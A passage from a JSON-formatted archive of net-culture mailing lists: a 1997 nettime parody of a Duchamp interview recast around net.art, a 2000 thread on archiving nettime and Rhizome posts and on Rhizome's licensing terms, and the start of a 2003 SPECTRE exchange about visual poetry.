intelligent and sympathetic public.\n\n AS No, no, no ivory tower in my idea at all.\n\n RB I remember a line in an interview with Vuk Cosic in which you said\nthat there was more possibility with the Internet to find art that\ndoesn't realise itself as art - non-conceived, intuitive, spontaneous\nand naive.\n\n AS You see the danger is to \"lead yourself' into a form of taste, even\n the taste of the Moscow wwwart site\n\n RB Taste then for you is repetition of anything that has been accepted;\nis that what you mean'?\n\n\n AS Exactly; it is a habit. Repeat the same thing long enough and it be-\ncomes taste. If you interrupt your work, I mean after you have done  it,\nthen it becomes, it stays a thing in itself; but if it is repeated a\nnumber of times it becomes taste.\n\nRB And good taste is repetition that is approved by society and bad\ntaste is the same repetition which is not approved; is that what you\nmean?\n\n\n AS Yes, good or bad is of no importance because it is always good for\nsome people and bad for others. Quality is not important, it is al-\nways taste.\n\nRB Well, how did you find the way to get away from good or bad taste\nin your personal expression?\n\nAS By using found art techniques. A found art site has no taste in it\n\nRB Because it is divorced from conventional art institutional expression\nof   taste?\n\nAS Exactly, at least I thought so at that time, and I think the same\ntoday.\n\nRB Then does this divorce from conventional art institutions in net.art\nhave   a relationship to the interest you had in found art sites?\n\nAS It was naturally, in trying to draw a conclusion or consequence from\n  the de-institutionalisation of the work of art, that I came to the\nidea of     Gold Medal Award sites which in effect are already\ncompletely made. Let me     show you: this is a  website with\ninnocent non-art intentions,  it is a ready-made.   Now it is a Ready-made\nin which shit is\nchanged to gold, metaphorically speaking. It is a sort of a mythological\neffect produced by art awards and art criticism.\n\nRB You didn't know me before you came to Holland\n\n\nAS No. I came to Amsterdam in January. I met you at the Next Five\nMinutes  conference it was the beginning of a long email friend- ship.\nWe devised the Gold  Medal Award and discussed infiltration of Nettime\n\n\nRB The Nettime group was associated with several other groups, wasn't\nit?\n\nAS Yes, there was Vuk Cosic and Heath Bunting for example, who was also\na   patron of net.art, and he started a museum called CERN. And there >was\nV2    whose purpose was to promote net.artists from the east to get\na sort of communication between east and west, and it was quite\nsuccessful then. It was from then on  that the West was absolutely\nnet.art conscious, which it had never been before.\n\nRB I see. Well, Vuk Cosic also owned your Refresh page which    we were\nlooking at a little while ago.\n\n AS Yes, it was in the Moscow WWWarts collection in 1996, at the    time\nof its near-completion-. But no-one could own it because  it was too\nfragile to transport, given its size.\n\nRB Alexei, from what you say the Refresh page was never really finished.\n\n AS No. No. The last time somebody worked on it was this morning .\n\n RB So it remains a sort of unfinished epic. And also for me it seems to\nindicate that you were never really dedicated to conventional\ncommunication   in the ordinary sense of the word. I imagine that there\nis something broader in your concept of what art is than just\ncommunication.\n\n AS Yes. I considered art as a means of expressing the present,  not an\nend in itself. One means of expression among others, and not a complete\nend for life at all; in the same way I consider that color is only a\nmeans of expression in painting and not an end. In other words,\ncommunication should not be exclusively retinal or visual; it should\nhave to do with the concept, with our urge for understanding. This is\ngenerally what I love. I didn't want to pin myself down and I tried at\nleast to be as universal as I could. That is why I took up Internet.\nInternet initself is a hobby, is a game, everybody can play Internet.\nIt's like chess.   Actually when you play a game of chess it is like\ndesigning something or constructing a mechanism of some kind by which\nyou win or lose. The competitive side of it has no importance, but the\nthing itself is very, very strategic, and that is probably what\nattracted me to   the Internet game.\n\nRB Do you mean by that another form of communication?\n\nAS Yes, at least it was another facet of the same kind of mental\nexpression, intellectual expression, one small facet if you want, but it\ndiffered enough to make it distinct, and it added something to my life.\n\n\nRB Do you regard Moscow WWWarts page as a distinct expression of  your\npersonality '?\n\nAS Yes. Absolutely. It was a new form of expression for me. Instead of\nmerely photographing something for gallery exhibition the idea was to\nreproduce the  work that l loved so much in miniature. I didn't know how\nto do it. I thought  of a book, but I didn't like that idea. Then I\nthought of the idea of  the box in which all my works would be mounted\nlike in a small museum, a portable museum, so to speak, and here it is\nin this  Internet valise.\n\nRB It is a sort, of ready-made catalogue, isn't it.\n\nAS There was a whole art system, which I thought up to win at roulette at\nMonte Carlo. Of  course I never broke the bank with it. But I thought I\nfound a system.\n\n RB Did you win anything?\n\n AS No, I never won anything. But at any rate as you know, I am\ninterested in the intellectual side, although I don't like the word\n\"intellect.\" For me \"intellect\" is too dry a word, too inexpressive. I\nlike  the word \"belief.\" I think in general that when people say \"I\nknow,\" they don't know, they believe. I believe that art is the only\nform of activity in which man as man shows himself to be a true\nindividual. Only in art is he capable of going beyond the animal  state,\nbecause art is an outlet toward regions which are not ruled by   time\nand space. To live is to believe; that's my belief, at any rate.\n\n\n\n\n*\"A Conversation with Marcel Duchamp,\" television ionterview conducted by\nJames Johnson Sweeny, NBC, January 1956, Philadelphia Museum of Art\n...............................\n.....moscow wwwart centre......\nhttp://sunsite.cs.msu.su/wwwart\n...............................\n\n\n\n\nlondon<+>isle of wight<=>liverpool<if>lusanne<then>vienna<go to>budapest<&>\n\nljublana<re:>barcelone<go to>bahamas\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                        "id": "00087",
                        "date": "Sun, 16 Mar 1997 01:34:01 +0100",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "630c00ee04021004b07a {AT} [194.159.194.33]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00087.html",
                        "content-type": "text/plai",
                        "author_name": "rachel baker",
                        "subject": "Re: nettime: Art on N"
                    }
                ],
                "message-id": "3326F111.7D8C {AT} xs4all.nl",
                "date": "Wed, 12 Mar 1997 19:08:17 +0100",
                "content-type": "text/plai"
            },
            {
                "id": "00120",
                "content": "\nthis was taken from an ongoing discussion between jennifer crowe and \npat lichty re: history of net art. (taken from the list protocol \nprone http://www.artnetweb.com/protocol\n\n\nAt 1:25 PM -0400 5/14/00, Jennifer Crowe wrote:\n<snip>\n>\n>[let me ammend this: I was specifically refering to .txt files that\n>comprise the textbase- plain text (which when it boils down to it the\n>Rhizome archive is) it will most likely port better than stuff that is\n>specically dependent on hardware, like an artwork that is dependent on a\n>certain type of machine (with like you say 5.25 floppies, etc). This is\n>never foolproof of course. But for the time being, the texts at Rhizome\n>and Nettime etc are what alot of people are going off of. And, yes it's\n>true that their server could be wiped out at anytime in a flood or\n>something...true, true, true!]\n</snip>\n\ncould the administrators of these lists post some comments on their \nlong-term plans for archival of the texts? how many back-ups are on \nhow many servers? are there foundations with a mission to preserve \nthem? if not, perhaps rhizome, thing, nettime could create one, or \nband together to lobby for international funding for one?\n\nor point us to the public policies you have posted.\n\nthanx\n\n=\n=\n=\n<<<<t.whid>>>>\nhttp://www.mteww.com\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0005/msg00120.html",
                "list": "nettime_l",
                "author_name": "t.whid",
                "subject": "<nettime> Re: (protocol) Re: Histories",
                "from": "\"t.whid\" <twhid {AT} spacelab.net>",
                "follow-up": [
                    {
                        "from": "t byfield <tbyfield {AT} panix.com>",
                        "id": "00124",
                        "content": "\ntwhid {AT} spacelab.net (Sun 05/14/00 at 02:15 PM -0400):\n\n> could the administrators of these lists post some comments on their \n> long-term plans for archival of the texts? how many back-ups are on \n> how many servers? are there foundations with a mission to preserve \n> them? if not, perhaps rhizome, thing, nettime could create one, or \n> band together to lobby for international funding for one?\n> \n> or point us to the public policies you have posted.\n\ninteresting questions.\n\nas for nettime: there's a complete archive on nettime.org\n(k\u00f6ln); another (i'm not sure how complete) at tao.ca, in\ntoronto, courtesy of jesse hirsch et al.; and another one,\nmuch less complete, at The Thing (NYC); and, at least for\na while, there was a clone of the complete nettime one at\no-o.lt, in lithuania (?). but these are only the publicly \navailable archives (of which there may be more i've never\nheard of); there are also private ones--mine goes back to\n12/95, and is missing only the first ~30 messages sent to\n'nettime-l' (there were earlier channels and ur-correspon-\ndence). if for some reason all these public archives were\nto vanish, i expect a few people would put some up on the\nweb, however piecemeal. (an excellent example is the more\nor less complete reconstruction of the first 'cypherpunks'\nlist cobbled together from various partial archives.)\n\nand then there are nettime's paper publications: ZKP 1, 2,\n3, 3.2.1, 4, _README!_, and (in part) the NATO/FYU isssue\nof arkzin/bastard, some of which included floppy versions\nof their content. the impetus behind this series of publi-\ncations was to make a 'networked discourse' available off-\nline; but one consequence was to make them available in a\nform not susceptible to the failures of electronic media.\n\nnote that the nettime.org archive includes 'raw' files of \nthe traffic going back to 11/95: if you really care about\nthe long-term viability of the archives feel free to suck\nthe files down and archive them yourself. once FreeNet is\nup and running in a meaningful sense, i'll run a node and\nmake the files available in that way--as an 'eternity ser-\nvice.' i hope others do too, but the essence of these sys-\ntems is establishing open and contingent technical setups\nand seeing what happens. nettime is a 'collaborative text\nfiltering project': it may be that the logic that governs\nsuch an arrangement will filter nettime, or subsets of it,\ninto oblivion.\n\nas to your questions about foundations, and various lists\nbanding together to start one, my own response is: blecch.\n\nin my experience, nettime functions best, for all my skep-\nticism about this idea, as a 'gift economy.' that was the\nbasis on which desk.nl supported it; when their technical\nproblems became too severe i moved it to my own material.-\nnet; but that wasn't an adequate long-term solution for a\nlot of reasons (a cranky server sitting behind a 56k isdn\nline that was dedicated only because the ISP didn't care),\nso we asked wolfgang staehle if he'd give the list a home\nat The Thing for free and he said yes. in that regard the\nlist's existence is parasitic, much as nettime's meetings\nhave piggybacked on other conferences--the only exception\nbeing Beauty and the East in ljubljana, which was support-\ned by ljudmila (for those who don't know: LJUbljana Digit-\nal Media Lab--vuk cosic, luka frelih, marko peljhan, iren-\na w\u00f6lle, mitja doma, and more).\n\nto institutionalize nettime in a legal or economic format \nwould be fatal. the efforts to produce print publications \nhave been increasingly traumatic; and the efforts to push\n'top-down' campaigns under the name 'nettime' were a mess.\nthe fact that certain lists--nettime, rhizome, 7-11, amer-\nican express, syndicate, recode, xchange, rohrpost, inter-\nnodium, the list could go on--had and/or have certain com-\nmonalities doesn't mean that a consortium is desirable or\neven possible. the strength of these entities, individual-\nly and collectively, stems from the fact that they're NET-\nWORKS: part participants, part technical system, and part\nsomething else about which very little is understood, imo, \nand even this on a heuristic basis. in a way, the network\nis a new species, and many if not all of the problems net-\ntime has seen--abortive efforts to hijack it, the complex-\nities of organizing it in order to move to a 'higher' lev-\nel, para/neo/quasi/post-paranoiac fantasies about control\nand cabals--are byproducts of the inability to grasp what\nnetworks are and how they function. \n\nbut to get back to your initial questions, they *do* func-\ntion through distribution--which (thus far) seems like an\nunbeatable archival technique. thus far: we'll see how it\npans out in the long term.\n\nnettime's 'policy' about archiving? DIY. we maintain this\nlist in the here and now *for free*; if you'd like to pre-\nserve it for another time and place, then Be My Guest. my\nadvice: trust the network. don't try to transform it into\nsomething it isn't.\n\ncheers,\nt\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "date": "Mon, 15 May 2000 01:31:54 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200005150534.BAA11363 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0005/msg00124.html",
                        "content-type": "text/plai",
                        "author_name": "t byfield",
                        "subject": "Re: <nettime> Re: (protocol) Re: Histories"
                    },
                    {
                        "from": "{ brad brace } <bbrace {AT} eskimo.com>",
                        "id": "00125",
                        "content": "\nOn Sun, 14 May 2000, t.whid wrote:\n> At 1:25 PM -0400 5/14/00, Jennifer Crowe wrote:\n> <snip>\n\n> could the administrators of these lists post some comments on their \n> long-term plans for archival of the texts? how many back-ups are on \n> how many servers? are there foundations with a mission to preserve \n> them? if not, perhaps rhizome, thing, nettime could create one, or \n> band together to lobby for international funding for one?\n\n\nThis would only be worthwhile if the lists were _not moderated, and/or\n_all posts were archived. \n\n\n\nThe 12hr-ISBN-JPEG Project    >>>>           since 1994   <<<<\n\n\n+ + +         serial           ftp://ftp.eskimo.com/u/b/bbrace\n+ + +      eccentric        ftp://ftp.netcom.com/pub/bb/bbrace\n+ + +     continuous       ftp://ftp.teleport.com/users/bbrace\n+ + +    hypermodern      ftp://ftp.rdrop.com/pub/users/bbrace\n+ + +        imagery   ftp://ftp.pacifier.com/pub/users/bbrace\n\n      News://alt.binaries.pictures.12hr ://a.b.p.fine-art.misc\n  Mailing-list: listserv {AT} netcom.com / subscribe 12hr-isbn-jpeg\n  Reverse Solidus: http://www.teleport.com/~bbrace/bbrace.html\n                   http://bbrace.laughingsquid.net\n\n { brad brace }   <<<< bbrace {AT} netcom.com >>>>  ~finger for pgp\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "date": "Sun, 14 May 2000 13:48:06 -0700 (PDT)",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200005150536.BAA11391 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0005/msg00125.html",
                        "content-type": "text/plai",
                        "author_name": "{ brad brace }",
                        "subject": "Re: <nettime> Re: (protocol) Re: Histories"
                    },
                    {
                        "from": "\"cisler\" <cisler {AT} pobox.com>",
                        "id": "00129",
                        "content": "\nThanks to Ted Byfield for the explanation about the server and archive\nhistory of nettime.  On a grander scale there is a service that may just\nbe around when the sentient robots of Hans Moravec's dreams (and perhaps\nRay Kurzweil's) begin looking for the recorded antics and babbling of the\nhumans who once ran the Internet--and were allowed to use it. \n\nwww.archive.org is in San Francisco, and as of March 2000, they had\narchived a billion web pages, about 14 terabytes. I'm sure that nettime is\nin the archive. \n\nSteve Cisler\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "date": "Mon, 15 May 2000 06:29:32 -0700",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200005151505.LAA13086 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0005/msg00129.html",
                        "content-type": "text/plai",
                        "author_name": "cisler",
                        "subject": "Re: <nettime> Re: (protocol) Re: Histories"
                    },
                    {
                        "from": "alex galloway <alex {AT} rhizome.org>",
                        "id": "00132",
                        "content": "\n\n>At 1:25 PM -0400 5/14/00, Jennifer Crowe wrote:\n><snip>\n> >\n> >[let me ammend this: I was specifically refering to .txt files that\n> >comprise the textbase- plain text (which when it boils down to it the\n> >Rhizome archive is) it will most likely port better than stuff that is\n> >specically dependent on hardware, like an artwork that is dependent on a\n> >certain type of machine (with like you say 5.25 floppies, etc). This is\n> >never foolproof of course. But for the time being, the texts at Rhizome\n> >and Nettime etc are what alot of people are going off of. And, yes it's\n> >true that their server could be wiped out at anytime in a flood or\n> >something...true, true, true!]\n></snip>\n>\n>could the administrators of these lists post some comments on their\n>long-term plans for archival of the texts?\n\nabout rhizome...\n\nRhizome Digest is archived and available at http://rhizome.org/archive. \nYears 2000 and 1999 of the Digest are currently online. Older years will be \nuploaded soon.\n\nThe other two email lists, Rhizome Raw and Leonardo {AT} Rhizome.org, are \ncurrently not archived. However, a filtered selection of Rhizome Raw *is* \narchived in the online contentbase. These emails create the content for \nboth Rhizome Digest and the Fresh page (http://rhizome.org/fresh). Today, \napproximately 1 in 10 emails are saved and archived in the contentbase. \nEarlier in our history, when the volume on Raw was lower, the ratio was \nmore like 1 in 3. Emails selected for the contentbase are formated into \nplain text, then indexed by keyword, name, place, title, category, type and \ndate.\n\nThe Rhizome contentbase is backed-up periodically using normal protocols, \nplus a semi-complete archive lives on my home computer and probably in a \nfew other places (eat your heart out, 0100101110101101.ORG!). Rhizome is \ndedicated to long term preservation, so this material is not likely to \ndisappear any time soon.\n\nRhizome has produced no print publications to date.\n\nideas and suggests? post to list {AT} rhizome.org.\n\nbest,\n\n-ag\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "date": "Tue, 16 May 2000 10:31:13 -0700",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200005161713.NAA17872 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0005/msg00132.html",
                        "content-type": "text/plai",
                        "author_name": "alex galloway",
                        "subject": "Re: <nettime> Re: (protocol) Re: Histories"
                    },
                    {
                        "from": "Zvonimir Bakotin <zone {AT} Desk.nl>",
                        "id": "00142",
                        "content": "\n\nDear archeologists,\n\n> \n> >At 1:25 PM -0400 5/14/00, Jennifer Crowe wrote:\n> ><snip>\n> > >\n> > >[let me ammend this: I was specifically refering to .txt files that\n> > >comprise the textbase- plain text (which when it boils down to it the\n> > >Rhizome archive is) it will most likely port better than stuff that is\n> > >specically dependent on hardware, like an artwork that is dependent on a\n> > >certain type of machine (with like you say 5.25 floppies, etc). This is\n> > >never foolproof of course. But for the time being, the texts at Rhizome\n> > >and Nettime etc are what alot of people are going off of. And, yes it's\n> > >true that their server could be wiped out at anytime in a flood or\n> > >something...true, true, true!]\n> ></snip>\n> >\n> >could the administrators of these lists post some comments on their\n> >long-term plans for archival of the texts?\n> \n> about rhizome...\n> \n> Rhizome Digest is archived and available at http://rhizome.org/archive. \n> Years 2000 and 1999 of the Digest are currently online. Older years will be \n> uploaded soon.\n> \n> The other two email lists, Rhizome Raw and Leonardo {AT} Rhizome.org, are \n> currently not archived. \n\n<snip>\n\nI keeping the archive of rhRaw (mixed with rhDigest however) on my\nmailserver, this archive goes back till sept'96. contains cca 12,5k\nmessages, or 63MB of raw ascii bits, in my oppinion *it's complete*.\n\nThere is also *complete* Nettime-l which goes back to '96. Furthermore\nthere are some *smaller* archives (regarding the volume and number of\nmessages) like documentaX, ars (severeal years of disscusion at AE), \nblast, 7-11, amex, hfh... even some projects and initiatives which were'nt\n*real mailing_lists* such refresh (net art project back in 96), etc...\n\n>From the very same source (different folder only) Syndicate mailing list\narchive was restored in last year (complete - from very first message). \nThe Syndicate archive is avaliable now at http://www.v2.nl/mail/v2east/,\nfor your reading pleasure and utermost enlightment.\n\nI agree with Ted on this point this is mainly DIY sport, and gift economy\nartefact indeed. I dont see any particular *long time* strategies there.\n\nOK maybe one, let say once when I'll be retired I'll have plenty of time\nto print out few *ascii on paper* pages out of some antique printer each\nmorning (rather noon) while I waking up and have first caffe with some\n*blasts from the pasts*... idilic ha? \nWell lets take *worst case* scenario of .com future, assuming that\ncomplete legacy of the digital domain will be commercialized pretty soon,\nsometime after use of paper for purpose of printmaking will be forbidden\nfor most of us, goverment and corporate sector will have then special\npermissions to print documents on paper. Rest of us will relay on\n(envirinment friendly) e-books(TM) and digitalPaper(TM) cellularZines(TM)\nand other widgets for *individual nonimmersive* use, this highly .com\nservices will be available to anyone and everywhere, charged per bits but\nthat's however not issue here. Printing on paper will be crimonal act\nagainst the planet...well maybe not so idilic but still good for business.\n\nz\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "date": "Wed, 17 May 2000 04:43:35 +0200 (CEST)",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200005170541.BAA20185 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0005/msg00142.html",
                        "content-type": "text/plai",
                        "author_name": "Zvonimir Bakotin",
                        "subject": "Re: <nettime> Re: (protocol) Re: Histories"
                    },
                    {
                        "from": "Robbin Neal Murphy <rnm7789 {AT} is9.nyu.edu>",
                        "id": "00154",
                        "content": "\n\n\nI got bored and did hotbot search on my name and -- lo and behold --\nmr.net.art came up from 1998 on rewired:\n\nhttp://www.rewired.com/98/0204.html\n\nfor the record, I received a 1/2 vote.\n\nRob\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "date": "Wed, 17 May 2000 02:30:17 -0400 (EDT)",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200005171756.NAA21891 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0005/msg00154.html",
                        "content-type": "text/plai",
                        "author_name": "Robbin Neal Murphy",
                        "subject": "Re: <nettime> Re: (protocol) Re: Histories"
                    },
                    {
                        "from": "t byfield <tbyfield {AT} panix.com>",
                        "id": "00208",
                        "content": "\nalex {AT} rhizome.org (Tue 05/16/00 at 10:31 AM -0700):\n\n> The Rhizome contentbase is backed-up periodically using normal protocols, \n> plus a semi-complete archive lives on my home computer and probably in a \n> few other places (eat your heart out, 0100101110101101.ORG!). Rhizome is \n> dedicated to long term preservation, so this material is not likely to \n> disappear any time soon.\n\ni should hope not. after all--and it's a shame you didn't \nmention this aspect--in doing so, rhizome is only protect-\ning its assets:\n\n\n     <http://rhizome.org/subscribe/sub_agree.html>\n\n...  By posting material to RHIZOME RAW you agree to grant\n     Rhizome Communications the non-exclusive, worldwide,\n     perpetual, royalty-free right to reproduce, modify,\n     edit, publish, sub-license, make derivative works from\n     and distribute such material in any form or media,\n     including posting such material on RHIZOME DIGEST or the\n     RHIZOME Web Site. Rhizome Communications reserves the\n     right, in its sole discretion, to edit any subscriber\n     posting, and to chose to include or not include such\n     posting in RHIZOME DIGEST or on the RHIZOME Web Site. ...\n\n\n     <http://rhizome.org//artbase/provider_agmt.html>\n\n...  You grant Rhizome.org the non-exclusive, worldwide,\n     royalty-free right to reproduce, store, modify,\n     distribute in digital form, perform and display your Art\n     Project in connection with, or to promote, the ArtBase.\n     You also agree that Rhizome.org may use your name on the\n     Rhizome.org Web site, or in connection with promoting\n     the ArtBase. \n     \n     Rhizome.org reserves the right to make changes to your\n     Art Project as may be necessary to maintain the ArtBase,\n     including for the purpose of adapting it to changing\n     technologies. Rhizome.org also reserves the right to\n     index your Art Project within the ArtBase, to remove\n     your Art Project from the ArtBase at any time or to\n     discontinue the ArtBase. Rhizome.org will consider your\n     requests to modify or update your Art Project, but will\n     not be required to make any such changes. ...\n     \n\n> ideas and suggests? post to list {AT} rhizome.org.\n\nwhat--and grant rhizome the non-exclusive, worldwide, perpetual, \nroyalty-free right to reproduce, store, modify, distribute in \ndigital form, publish, sub-license, make derivative works from, \nperform and/or display my ideas and suggests? not on your life.\n\ncheers,\nt\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "date": "Wed, 24 May 2000 17:15:52 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200005242017.QAA21537 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0005/msg00208.html",
                        "content-type": "text/plai",
                        "author_name": "t byfield",
                        "subject": "Re: <nettime> Re: (protocol) Re: Histories"
                    }
                ],
                "message-id": "200005141909.PAA09725 {AT} bbs.thing.net",
                "date": "Sun, 14 May 2000 14:15:39 -0400",
                "content-type": "text/plai"
            }
        ],
        "desc": "..."
    },
    "please stop sending this mail": {
        "lists": [
            {
                "content-type": "n/a",
                "from": "the_sea_is_me at yahoo.com",
                "id": "2078",
                "content": "Please please stop sending us this jargon and\npretentious poetry.\nI find it sad, offensive, annoying and bothersome. Am\nI alone here?\nI could say more but it saddens me and I am tired and\nweary of conversations to a machine.\n\n\n\n\n::cracked crys.tall.ine bea[s]ts\n________________\n::men[iscus_heart] plucking via broken bag.ga[u]ges\n_____\n::toffee_leaking eyes + modal<head>\n__________\n::butter hands creased [chrono(scopic)]logically\n____\n::[man]Dal[a]i shrin.cages + silence\nm[h]ounds||shrink_[psycho w]rapped + tender\nb[rown]andaging\n______________________\n\n\n.\n.whis.purred time par.$elling.\n.\n_____\n\n\n______________________________________________\nSPECTRE list for media culture in Deep Europe\nInfo, archive and help:\nhttp://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n\n\n\n__________________________________________________\nDo you Yahoo!?\nYahoo! Tax Center - File online, calculators, forms, and more\nhttp://tax.yahoo.com\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2003-April/002078.html",
                "follow-up": [
                    {
                        "author_name": "astr\u00ebe galbiatta .vnatrc.net.",
                        "from": "astreegalbiatta at vnatrc.net",
                        "id": "2081",
                        "content": "En r\u00e9ponse \u00e0 mediterranian sea <the_sea_is_me at yahoo.com>:\n\nyes,\nwhy not being \nsunny, clear, joyful\n, & alive ?\n\nthanks for this smile from mediterranea !\n\nkisses\nastr\u00ebe\n\n\n\"Le vent se l\u00e8ve! . . . il faut tenter de vivre!\nL'air immense ouvre et referme mon livre,\nLa vague en poudre ose jaillir des rocs!\nEnvolez-vous, pages tout \u00e9blouies!\nRompez, vagues! Rompez d'eaux r\u00e9jouies\nCe toit tranquille o\u00f9 picoraient des focs!\"\n\n\n> Please please stop sending us this jargon and\n> pretentious poetry.\n> I find it sad, offensive, annoying and bothersome. Am\n> I alone here?\n> I could say more but it saddens me and I am tired and\n> weary of conversations to a machine.\n> \n> \n> \n> \n> ::cracked crys.tall.ine bea[s]ts\n> ________________\n> ::men[iscus_heart] plucking via broken bag.ga[u]ges\n> _____\n> ::toffee_leaking eyes + modal<head>\n> __________\n> ::butter hands creased [chrono(scopic)]logically\n> ____\n> ::[man]Dal[a]i shrin.cages + silence\n> m[h]ounds||shrink_[psycho w]rapped + tender\n> b[rown]andaging\n> ______________________\n> \n> \n> .\n> .whis.purred time par.$elling.\n> .\n> _____\n> \n> \n> ______________________________________________\n> SPECTRE list for media culture in Deep Europe\n> Info, archive and help:\n> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> \n> \n> \n> __________________________________________________\n> Do you Yahoo!?\n> Yahoo! Tax Center - File online, calculators, forms, and more\n> http://tax.yahoo.com\n> ______________________________________________\n> SPECTRE list for media culture in Deep Europe\n> Info, archive and help:\n> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n> \n> \n\n\n\n\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\n    mais    \n            \nveux tu mais \n            \n    veux    \n____________\n\ng.n.a.p.b.l.\n.vnatrc.net/\n",
                        "date": "Mon Apr  7 16:08:54 CEST 2003",
                        "message-id": "2081",
                        "url": "http://post.in-mind.de/pipermail/spectre/2003-April/002081.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "author_name": "darko fritz",
                                "from": "fritz.d at chello.nl",
                                "id": "2085",
                                "content": "dear mediterranians\n\n+\ndear visual poetry haters > please upgrade your sens|e|ibility now!\n\n*free of charge* \n\nsens|e|bility for media culture in Deep Europe version 0.1.2 available now!\n\nInfo, archive and help:\nhttp://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n\n>> pretentious poetry.\n\n> why not being \n> sunny, clear, joyful\n\nmaybe we can ask some mediterranians 